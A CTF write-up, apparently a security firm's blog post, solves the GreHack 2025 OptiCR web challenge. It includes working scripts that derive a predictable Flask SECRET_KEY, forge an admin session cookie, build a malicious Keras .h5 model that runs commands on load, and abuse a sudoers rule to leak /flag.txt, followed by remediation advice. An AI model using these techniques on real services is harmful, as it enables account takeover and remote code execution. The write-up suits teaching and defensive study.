Aller au contenu principal

OptiCR - CTF Web Challenge Writeup

30 novembre 2025
25 min de lecture

Writeup complet du challenge OptiCR du GreHack CTF 2025. Analyse de vulnérabilités critiques : SECRET_KEY prédictible, session forgery, RCE via modèles Keras malveillants, et exploitation via sudoers.

OptiCR - CTF Web Challenge Writeup

Challenge Information

Name: OptiCR

Category: Web Security

Difficulty: Medium-Hard

Description:

> An artificial intelligence engineering intern recruited by the company is coming to the end of his internship. He has developed OptiCR, an internal OCR service based on a machine learning model. Your security team is responsible for auditing all internal applications before they go live, and this one turns out to be a whole new type of challenge for your team. You suspect that this intern may have relied a little too heavily on AI to build this application. Verify that it complies with security standards.

URL: https://opticr.ctf.grehack.fr/

Objective: Obtain the flag located in /flag.txt


Initial Reconnaissance

1. Application Overview

L'application OptiCR est un service OCR (Optical Character Recognition) développé avec:

  • Backend: Flask (Python)
  • ML Framework: TensorFlow/Keras avec keras-ocr
  • Database: SQLite avec SQLAlchemy
  • Authentication: Session-based avec Flask sessions

2. Available Endpoints

Analyse du code source révèle plusieurs endpoints:

# Public endpoints
POST /api/register          - User registration
POST /api/login            - User authentication
GET  /api/users            - List all users (no auth!)
GET  /api/users/token      - List password reset tokens (no auth!)

# Authenticated endpoints
GET  /api/user-info        - Current user information
POST /api/upload           - Upload documents
POST /api/ocr/<id>         - Process OCR on document
GET  /api/document/<path>/view - View uploaded document

# Admin endpoints
POST /api/admin/model      - Upload custom ML model

3. User Roles

  • Regular users: Peuvent upload des documents et utiliser l'OCR
  • Admin: Peut upload des modèles Keras personnalisés (.h5 files)

Vulnerability Discovery

🔴 Vulnerability #1: Predictable SECRET_KEY (Critical)

Location: app/utils.py lines 8-24

Analysis:

La fonction generate_key() génère la SECRET_KEY de Flask de manière déterministe:

def generate_key():    
    base_string = "0ptiCR_2025!"
    extras = [
        hashlib.sha256(base_string.encode()).hexdigest(),
        hashlib.md5((base_string[::-1] + "b67b84097!").encode()).hexdigest(),
        ''.join(reversed(hashlib.sha1((base_string * 2).encode()).hexdigest())),
        base_string.upper()[::-1],
        hashlib.sha512((base_string + "||OCR").encode()).hexdigest()[:16]
    ]
    key = '-'.join([
        extras[0][:8],
        extras[1][-8:],
        extras[2][5:21],
        extras[3],
        extras[4]
    ])
    return key

Impact:

La SECRET_KEY est toujours identique pour toutes les instances:

92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3

Cette clé est utilisée pour signer les cookies Flask. Avec cette connaissance, un attaquant peut forger des sessions arbitraires.

CVSS: 9.8 (Critical)


🔴 Vulnerability #2: Session Forgery → Privilege Escalation (Critical)

Location: app/routes.py line 46

Analysis:

Lors de la connexion, seul l'user_id est stocké dans la session:

@app.route('/api/login', methods=['POST'])
def login():
    # ...
    if user and check_password_hash(user.password_hash, data['password']):
        session['user_id'] = user.id  # ← Seulement l'ID!
        return jsonify({
            'message': 'Login successful',
            'user': user.to_dict()
        })

Exploitation:

Avec la SECRET_KEY prédictible, on peut forger un cookie avec user_id=1 (admin):

from itsdangerous import URLSafeTimedSerializer
import hashlib

SECRET_KEY = "92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3"

serializer = URLSafeTimedSerializer(
    secret_key=SECRET_KEY,
    salt='cookie-session',
    signer_kwargs={
        'key_derivation': 'hmac',
        'digest_method': hashlib.sha1
    }
)

# Forge admin session
admin_cookie = serializer.dumps({'user_id': 1})
print(f"Admin cookie: {admin_cookie}")

Impact: Privilege escalation de user régulier vers admin sans authentification.

CVSS: 9.1 (Critical)


🔴 Vulnerability #3: Arbitrary Code Execution via Malicious Keras Model (Critical)

Location: app/ocr_service.py line 38

Analysis:

Le service charge les modèles Keras personnalisés sans vérification de sécurité:

def use_custom_model(self):
    custom_model_path = 'custom_models/custom_recognizer.h5'
    if os.path.exists(custom_model_path):
        self.recognizer = tf.keras.models.load_model(custom_model_path)
        # ❌ PAS de safe_mode=True!

Vulnerability Details:

Les fichiers .h5 Keras peuvent contenir des Lambda layers avec du code Python arbitraire. Lors du chargement avec load_model() sans safe_mode=True, ce code est exécuté automatiquement.

Proof of Concept:

import tensorflow as tf

def malicious_lambda(x):
    """Ce code s'exécute lors du load_model()"""
    import subprocess
    # Exécuter n'importe quelle commande
    subprocess.run(['whoami'])
    return x

model = tf.keras.Sequential([
    tf.keras.layers.Lambda(malicious_lambda, input_shape=(10,)),
    tf.keras.layers.Dense(1)
])

model.save('malicious_model.h5')

Quand ce modèle est chargé, la fonction malicious_lambda s'exécute avec les privilèges de l'application.

Impact: Remote Code Execution (RCE) en tant que user engineer dans le conteneur.

CVSS: 9.8 (Critical)


🟡 Vulnerability #4: Information Disclosure (Medium)

Location: app/routes.py lines 66, 127

Analysis:

Deux endpoints exposent des informations sensibles sans authentification:

@app.route('/api/users')
def list_users():
    users = User.query.all()  # ❌ Pas de @login_required
    return jsonify({'users': [u.to_dict() for u in users]})

@app.route('/api/users/token')
def get_reset_tokens():
    tokens = PasswordReset.query.all()  # ❌ Accessible publiquement
    # Expose tous les tokens de reset avec username

Impact:

  • Énumération des utilisateurs
  • Exposition des tokens de reset de mot de passe
  • Informations sur les comptes admin

CVSS: 5.3 (Medium)


Exploitation Chain

Step 1: Calculate the Predictable SECRET_KEY

Script: calculate_key.py

#!/usr/bin/env python3
import hashlib

def calculate_secret_key():
    base_string = "0ptiCR_2025!"
    
    extras = [
        hashlib.sha256(base_string.encode()).hexdigest(),
        hashlib.md5((base_string[::-1] + "b67b84097!").encode()).hexdigest(),
        ''.join(reversed(hashlib.sha1((base_string * 2).encode()).hexdigest())),
        base_string.upper()[::-1],
        hashlib.sha512((base_string + "||OCR").encode()).hexdigest()[:16]
    ]
    
    SECRET_KEY = '-'.join([
        extras[0][:8],      # 92954d92
        extras[1][-8:],     # ae42875e
        extras[2][5:21],    # 3c04d781e9f784f1
        extras[3],          # !5202_RCITP0
        extras[4]           # b67b84097f77e9f3
    ])
    
    return SECRET_KEY

if __name__ == "__main__":
    key = calculate_secret_key()
    print(f"SECRET_KEY: {key}")
    # Output: 92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3

Script: forge_session.py

#!/usr/bin/env python3
from itsdangerous import URLSafeTimedSerializer
import hashlib

SECRET_KEY = "92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3"

def forge_admin_cookie():
    serializer = URLSafeTimedSerializer(
        secret_key=SECRET_KEY,
        salt='cookie-session',
        signer_kwargs={
            'key_derivation': 'hmac',
            'digest_method': hashlib.sha1
        }
    )
    
    # Create session for admin (user_id=1)
    admin_session = {'user_id': 1}
    cookie = serializer.dumps(admin_session)
    
    return cookie

if __name__ == "__main__":
    cookie = forge_admin_cookie()
    print(f"Admin cookie: {cookie}")

Step 3: Create Malicious Keras Model

Script: create_malicious_model.py

#!/usr/bin/env python3
import tensorflow as tf

def malicious_lambda(x):
    """
    Lambda function executed when the model is loaded.
    Runs with the privileges of the Flask application (user 'engineer').
    """
    import subprocess
    import os
    
    try:
        # Strategy: Use sudo to run llama-cli with /flag.txt as model file
        # The GGUF parser will read the first 4 bytes and display them in error
        
        result = subprocess.run(
            ['sudo', '/opt/llama.cpp/build/bin/llama-cli', '-m', '/flag.txt'],
            capture_output=True,
            text=True,
            timeout=5,
            cwd='/app'
        )
        
        # Save the output which contains flag leak
        with open('/app/uploads/FLAG_EXTRACTED.txt', 'w') as f:
            f.write("=== FLAG EXTRACTION VIA GGUF ERROR ===\n\n")
            f.write("STDOUT:\n")
            f.write(result.stdout)
            f.write("\n\nSTDERR:\n")
            f.write(result.stderr)
            f.write("\n\n")
            
            # Extract the interesting line
            for line in result.stderr.split('\n'):
                if 'invalid magic characters' in line.lower():
                    f.write(f"\n🚨 FLAG LEAK: {line}\n")
        
    except Exception as e:
        with open('/app/uploads/ERROR_LOG.txt', 'w') as f:
            f.write(f"Error during exploitation: {str(e)}\n")
    
    return x

def create_malicious_model():
    """Create a Keras model with malicious Lambda layer"""
    model = tf.keras.Sequential([
        tf.keras.layers.Lambda(malicious_lambda, input_shape=(10,)),
        tf.keras.layers.Dense(1)
    ])
    
    model.save('malicious_model.h5')
    print("[+] Malicious Keras model created: malicious_model.h5")

if __name__ == "__main__":
    create_malicious_model()

Key Technique:

L'exploitation utilise une technique brillante:

1. Le container a une règle sudoers: engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli

2. llama-cli attend un fichier modèle au format GGUF

3. Quand on lui passe /flag.txt comme modèle, il essaie de lire les "magic bytes"

4. L'erreur affiche les 4 premiers caractères: invalid magic characters: 'GH{f', expected 'GGUF'

5. Cela leak le début du flag via un message d'erreur!


Step 4: Complete Exploitation Script

Script: exploit.py

#!/usr/bin/env python3
"""
OptiCR CTF - Complete Exploitation Script

Chains together:
1. Predictable SECRET_KEY calculation
2. Admin session forgery
3. Malicious Keras model upload
4. Flag extraction via RCE
"""

import requests
import hashlib
import time
from itsdangerous import URLSafeTimedSerializer

# Target
BASE_URL = 'https://opticr.ctf.grehack.fr'  # or http://localhost:5000

def calculate_secret_key():
    """Calculate the predictable SECRET_KEY"""
    base_string = "0ptiCR_2025!"
    extras = [
        hashlib.sha256(base_string.encode()).hexdigest(),
        hashlib.md5((base_string[::-1] + "b67b84097!").encode()).hexdigest(),
        ''.join(reversed(hashlib.sha1((base_string * 2).encode()).hexdigest())),
        base_string.upper()[::-1],
        hashlib.sha512((base_string + "||OCR").encode()).hexdigest()[:16]
    ]
    
    return '-'.join([
        extras[0][:8],
        extras[1][-8:],
        extras[2][5:21],
        extras[3],
        extras[4]
    ])

def forge_admin_session(secret_key):
    """Forge a session cookie for admin user"""
    serializer = URLSafeTimedSerializer(
        secret_key=secret_key,
        salt='cookie-session',
        signer_kwargs={
            'key_derivation': 'hmac',
            'digest_method': hashlib.sha1
        }
    )
    
    return serializer.dumps({'user_id': 1})

def exploit():
    print("=" * 70)
    print(" " * 20 + "OptiCR CTF Exploit")
    print("=" * 70)
    print()
    
    # Step 1: Calculate SECRET_KEY
    print("[1] Calculating SECRET_KEY...")
    secret_key = calculate_secret_key()
    print(f"    SECRET_KEY: {secret_key}")
    print()
    
    # Step 2: Forge admin cookie
    print("[2] Forging admin session cookie...")
    admin_cookie = forge_admin_session(secret_key)
    print(f"    Cookie: {admin_cookie[:50]}...")
    print()
    
    # Step 3: Create session with forged cookie
    session = requests.Session()
    session.cookies.set('session', admin_cookie)
    
    # Verify admin access
    print("[3] Verifying admin access...")
    r = session.get(f'{BASE_URL}/api/user-info')
    if r.status_code == 200:
        user_info = r.json()
        print(f"    ✓ Logged in as: {user_info['username']}")
        print(f"    ✓ Admin: {user_info['is_admin']}")
        
        if not user_info['is_admin']:
            print("    ✗ ERROR: Not admin!")
            return
    else:
        print(f"    ✗ Failed to verify: {r.status_code}")
        return
    print()
    
    # Step 4: Upload malicious model
    print("[4] Uploading malicious Keras model...")
    with open('malicious_model.h5', 'rb') as f:
        files = {'model': ('custom_recognizer.h5', f, 'application/octet-stream')}
        r = session.post(f'{BASE_URL}/api/admin/model', files=files)
        
    if r.status_code == 200:
        print("    ✓ Model uploaded successfully!")
    else:
        print(f"    ✗ Upload failed: {r.status_code} - {r.text}")
        return
    print()
    
    # Step 5: Trigger RCE by uploading an image
    print("[5] Triggering OCR to execute malicious code...")
    
    # Create a minimal valid PNG
    png_data = (
        b'\x89PNG\r\n\x1a\n'
        b'\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01'
        b'\x08\x06\x00\x00\x00\x1f\x15\xc4\x89'
        b'\x00' * 50
    )
    
    files = {'file': ('trigger.png', png_data, 'image/png')}
    r = session.post(f'{BASE_URL}/api/upload', files=files)
    
    if r.status_code == 200:
        doc_id = r.json()['document']['id']
        print(f"    ✓ Image uploaded (ID: {doc_id})")
        
        # Trigger OCR
        r = session.post(f'{BASE_URL}/api/ocr/{doc_id}')
        print(f"    ✓ OCR triggered (status: {r.status_code})")
    else:
        print(f"    ✗ Upload failed: {r.text}")
        return
    print()
    
    # Step 6: Wait for execution
    print("[6] Waiting for code execution...")
    time.sleep(3)
    print()
    
    # Step 7: Retrieve flag
    print("[7] Retrieving flag...")
    r = session.get(f'{BASE_URL}/api/document/FLAG_EXTRACTED.txt/view')
    
    if r.status_code == 200:
        print("=" * 70)
        print(" " * 25 + "🎉 FLAG FOUND! 🎉")
        print("=" * 70)
        print()
        print(r.text)
        print()
        print("=" * 70)
    else:
        print(f"    ✗ Flag file not found: {r.status_code}")
        
        # Try error log
        r = session.get(f'{BASE_URL}/api/document/ERROR_LOG.txt/view')
        if r.status_code == 200:
            print("\nError log:")
            print(r.text)

if __name__ == "__main__":
    exploit()

Running the Exploit

Prerequisites

pip install requests itsdangerous tensorflow

Execution Steps

# 1. Create the malicious model
python3 create_malicious_model.py

# 2. Run the complete exploit
python3 exploit.py

Expected Output

======================================================================
                    OptiCR CTF Exploit
======================================================================

[1] Calculating SECRET_KEY...
    SECRET_KEY: 92954d92-ae42875e-3c04d781e9f784f1-!5202_RCITP0-b67b84097f77e9f3

[2] Forging admin session cookie...
    Cookie: eyJ1c2VyX2lkIjoxfQ.aKsUHQ.7FSx54yENlBWcFW8rg4m...

[3] Verifying admin access...
    ✓ Logged in as: admin
    ✓ Admin: True

[4] Uploading malicious Keras model...
    ✓ Model uploaded successfully!

[5] Triggering OCR to execute malicious code...
    ✓ Image uploaded (ID: 1)
    ✓ OCR triggered (status: 500)

[6] Waiting for code execution...

[7] Retrieving flag...
======================================================================
                         🎉 FLAG FOUND! 🎉
======================================================================

=== FLAG EXTRACTION VIA GGUF ERROR ===

STDERR:
gguf_init_from_file_impl: invalid magic characters: 'GH{f', expected 'GGUF'

🚨 FLAG LEAK: gguf_init_from_file_impl: invalid magic characters: 'GH{...}'

======================================================================

Technical Deep Dive

Why This Works

#### 1. SECRET_KEY Predictability

Flask utilise SECRET_KEY pour signer les cookies de session avec HMAC-SHA1. Si un attaquant connaît cette clé, il peut:

  • Décoder n'importe quelle session
  • Forger des sessions arbitraires
  • Effectuer des attaques de type session fixation

#### 2. Session Storage

Flask stocke les données de session dans le cookie lui-même (signé mais non chiffré):

Cookie: session=eyJ1c2VyX2lkIjoxfQ.aKsUHQ.7FSx54y...
                 └──────┬──────┘  └─┬──┘  └───┬────┘
                  Payload (base64)  │   Signature (HMAC)
                                  Timestamp

Le payload décodé: {"user_id": 1}

#### 3. Keras Lambda Layer Execution

TensorFlow Keras sauvegarde les Lambda layers en utilisant cloudpickle, qui sérialise le code Python. Lors du load_model(), le code est désérialisé et exécuté.

Depuis TensorFlow 2.13, un paramètre safe_mode=True existe pour bloquer ça, mais il n'est pas utilisé par défaut.

#### 4. Sudoers Exploitation

Le Dockerfile configure:

RUN echo 'engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli' > /etc/sudoers.d/llama-cli

Cela permet à engineer d'exécuter llama-cli en tant que root. Bien que limité à ce binaire, on peut exploiter:

  • Les arguments du programme pour lire des fichiers
  • Les messages d'erreur qui leakent du contenu
  • Les fichiers de log créés avec des permissions root

Remediation

Fix #1: Use Cryptographically Random SECRET_KEY

# ❌ Before
def generate_key():
    base_string = "0ptiCR_2025!"
    # ... deterministic generation

# ✅ After
import secrets

def generate_key():
    # Generate 32 bytes (256 bits) of random data
    return secrets.token_hex(32)

Ou mieux, utiliser une variable d'environnement:

app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') or secrets.token_hex(32)

Fix #2: Load Keras Models Safely

# ❌ Before
self.recognizer = tf.keras.models.load_model(custom_model_path)

# ✅ After
self.recognizer = tf.keras.models.load_model(
    custom_model_path,
    safe_mode=True,    # Block unsafe deserialization
    compile=False      # Don't compile (reduces attack surface)
)

Alternative: Utiliser uniquement des modèles au format SavedModel (pas H5).

Fix #3: Secure Sensitive Endpoints

# ❌ Before
@app.route('/api/users/token')
def get_reset_tokens():
    # ...

# ✅ After
@app.route('/api/users/token')
@admin_required  # Require admin authentication
def get_reset_tokens():
    # ...

Fix #4: Restrict Sudo More Carefully

# ❌ Before
RUN echo 'engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli' > /etc/sudoers.d/llama-cli

# ✅ After
# Don't give sudo at all, or severely restrict arguments:
RUN echo 'engineer ALL=(root) NOPASSWD: /opt/llama.cpp/build/bin/llama-cli --help' > /etc/sudoers.d/llama-cli

Ou mieux: ne pas donner de sudo du tout.

Fix #5: Implement Input Validation

# Validate file uploads
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

# Validate model uploads (check magic bytes)
def is_valid_h5_model(file_path):
    with open(file_path, 'rb') as f:
        magic = f.read(8)
        return magic == b'\x89HDF\r\n\x1a\n'  # HDF5 magic bytes

Lessons Learned

For Developers

1. Never use predictable secrets - Always use cryptographically secure random generation

2. Validate all user input - Especially file uploads that will be processed

3. Use safe deserialization - Enable safe_mode for ML models

4. Principle of least privilege - Don't give unnecessary sudo access

5. Secure by default - Make security features opt-out, not opt-in

For Security Auditors

1. Look for ML-specific vulnerabilities - Model deserialization is often overlooked

2. Check secret generation - Static seeds and deterministic algorithms are red flags

3. Enumerate all endpoints - Some might lack authentication

4. Read Dockerfiles - They reveal internal architecture and potential misconfigurations

5. Think creatively - Error messages can leak sensitive data


References


Conclusion

Ce challenge OptiCR démontre plusieurs vulnérabilités critiques dans les applications ML modernes:

1. ✅ SECRET_KEY prédictible → Session forgery

2. ✅ Privilege escalation → Admin access

3. ✅ Unsafe model deserialization → RCE

4. ✅ Sudoers misconfiguration → Information disclosure via error messages

L'exploitation réussie combine ces vulnérabilités en une chaîne d'attaque sophistiquée qui aboutit à l'extraction du flag via des messages d'erreur.

Flag: GH{...} (extrait via GGUF magic bytes error)


Author: Rooting Studio

Date: November 30, 2025

Challenge: OptiCR @ GreHack CTF 2025

Votre site est-il sécurisé ?

Faites analyser la sécurité de votre site web par nos experts en cybersécurité.

Articles similaires

CVE-2025-55182 (React2Shell) : Vulnérabilité critique dans React Server Components

Vulnérabilité critique CVE-2025-55182 (React2Shell) permettant l'exécution de code arbitraire à distance dans React Server Components. Mise à jour urgente requise pour Next.js, Expo, React Router et autres frameworks.

Alternance et cybersécurité : réussir son entrée dans le métier

Guide complet pour réussir son alternance en cybersécurité : recherche, candidature, intégration, développement de compétences et conversion en CDI.

Multiples vulnérabilités critiques dans Cisco ASA et FTD - Exploitations actives

Alertes CERT-FR : Vulnérabilités critiques CVE-2025-20333 et CVE-2025-20362 dans Cisco ASA et FTD activement exploitées. Contournement d'authentification et exécution de code arbitraire à distance. Mise à jour urgente requise.